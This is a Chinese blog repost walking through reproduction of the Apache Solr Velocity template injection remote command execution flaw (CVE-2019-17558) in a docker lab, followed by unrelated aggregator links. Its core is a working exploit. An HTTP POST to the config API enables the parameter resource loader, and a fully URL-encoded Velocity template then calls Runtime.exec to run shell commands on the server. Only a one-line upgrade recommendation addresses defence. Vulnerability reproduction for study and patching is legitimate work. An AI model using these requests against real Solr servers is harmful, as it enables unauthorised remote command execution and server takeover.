Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

一、Apache Solr介绍

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引,也可以通过http get操作提出查找请求,并得到XML格式的返回结果。

二、漏洞描述

Solr中存在VelocityResponseWriter组件,攻击者可以构造特定请求修改相关配置,使VelocityResponseWriter组件允许加载指定模板,进而导致Velocity模版注入远程命令执行漏洞,攻击者利用该漏洞可以直接获取到服务器权限。

漏洞产生原因:

在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

参考:(https://www.cnblogs.com/yuzly/p/11782608.html)

三、漏洞影响版本

Apache Solr 5.x – 8.2.0,存在config API版本

四、漏洞复现

靶机IP :192.168.200.130

1、启动环境,这里直接使用docker搭建

路径:solr/CVE-2019-17558

启动一个Apache Solr 8.2.0服务器:

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

列出相应容器

docker-compose ps

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

登录solr服务器

http://your-ip:8983

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

2、利用默认的demo

默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

3、开启 params.resource.loader.enabled

其中API路径包含刚才获取的core名称

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)
POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

4、查看demo的配置

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

可以看到,params.resource.loader.enabled 已经开启

5、注入Velocity模板执行任意命令

http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

在exec函数里可以执行任意代码:

Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

五、修复建议

建议升级Appache Salc到最新版

Original: https://www.cnblogs.com/ggc-gyx/p/CVE-2019-17558.html
Author: ʚɞ无恙
Title: Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/609172/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 【转】我是一个CPU:这个世界慢!死!了!

    简介 经常听到有人说磁盘很慢、网络很卡,这都是站在人类的感知维度去表述的,比如拷贝一个文件到硬盘需要几分钟到几十分钟,够我去吃个饭啦;而从网络下载一部电影,有时候需要几个小时,我都…

    Linux 2023年6月16日
    0152
  • RHCSA阶段笔记

    命令终端字段含义介绍 [root@localhost ~]# 解释: root:当前登录系统用户名(root超级管理员) localhost :当前主机名 :当前用户所在目录( 为…

    Linux 2023年6月14日
    096
  • Tomcat下载安装以及配置方法

    Tomcat环境变量配置方法 注意一定要在java环境配置成功之后再来配置tomcat。我这里仅展现在Windows系统下载的安装方法 Tomcat下载地址如下: https://…

    Linux 2023年6月7日
    0102
  • IDEA对数据库、表、记录的(增删改查可视化操作)、数据库安全性问题的演示

    演示脏读 一个事物里面读到了另外一个事物没有提交的数据: read uncommitted 1.开启A,B窗口 2.分别查询A,B的隔离级别 select @@tx_isolati…

    Linux 2023年6月6日
    0104
  • Linux 0.11源码阅读笔记-文件管理

    Linux 0.11源码阅读笔记-文件管理 文件系统 生磁盘 未安装文件系统的磁盘称之为生磁盘,生磁盘也可以作为文件读写,linux中一切皆文件。 磁盘分区 生磁盘可以被分区,分区…

    Linux 2023年5月27日
    099
  • Java面向对象之各种变量详解

    在Java中一定有很多变量让大家头疼,成员变量、类变量、局部变量等等,今天就来分别认识认识他们吧! Java面向对象之各种变量详解 前言 在 Java语言中, 根据定义变量位置的不…

    Linux 2023年6月13日
    081
  • Git

    什么是Git Git是用C语言开发的分布式版本控制系统,所谓版本控制系统,就是可以储存一个文件在不同时间的版本,记录每次文件的改动,可以根据需要,随时切换到之前的版本(比如在编写W…

    Linux 2023年6月7日
    0101
  • Zookeeper集群搭建及原理

    1 概述 1.1 简介 ZooKeeper 是 Apache 的一个顶级项目,为分布式应用提供高效、高可用的分布式协调服务,提供了诸如数据发布/订阅、负载均衡、命名服务、分布式协调…

    Linux 2023年6月13日
    097
  • Lab

    博客园 :当前访问的博文已被密码保护 请输入阅读密码: Original: https://www.cnblogs.com/Skybiubiu/p/15876295.htmlAut…

    Linux 2023年6月13日
    074
  • apt-get指令关于卸载软件的各种用法

    一、 apt-get remove packagename 该命令将移除与 packagename相关联的所有二进制文件,但是不会移除与之相关联的配置文件或数据文件(configu…

    Linux 2023年5月27日
    0149
  • Ubuntu下交换Alt和Ctrl (适用于任何按键修改)

    在 Ubuntu 下交换 Alt和 Ctrl键: sudo vim /usr/share/X11/xkb/keycodes/evdev 或使用系统默认编辑器打开: [En] Or …

    Linux 2023年5月27日
    0106
  • Spring常见异常说明

    文章要点 Spring bean 的声明方式 Spring bean 的注入规则 Spring bean 的依赖查找规则 Spring bean 的名称定义方式和默认名称规则 XX…

    Linux 2023年6月6日
    099
  • 【Linux】在Linux下文件io使用(二)

    在linux下,一切皆文件。当文件被打开时,会返回文件描述符用于操作该文件,从shell中运行一个进程,默认会有3个文件描述符存在(0、1、2); 0表示标准输入,1表示标准输出,…

    Linux 2023年6月13日
    0119
  • 前端之jQuery快速入门

    一、jQuery 一款轻量级的JS框架。jQuery的核心JS文件才几十kb,不会影响页面加载速度。 丰富的DOM选择器,jQuery的选择器用起来很方便,比如要找到某个DOM对象…

    Linux 2023年6月14日
    096
  • LyScript 从文本中读写ShellCode

    LyScript 插件通过配合内存读写,可实现对特定位置的ShellCode代码的导出,或者将一段存储在文本中的ShellCode代码插入到程序堆中,此功能可用于快速将自己编写的S…

    Linux 2023年5月28日
    097
  • [LINUX] 像电影里的黑客一样用 terminal 作为日常开发

    1、效果预览 2、具体实现 2.1 定位鼠标位置 2.2 获取屏幕位置 2.3 计算鼠标在哪个窗口 2.4 1920×1080 平铺效果设计 2.5 1280×…

    Linux 2023年6月8日
    0133
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球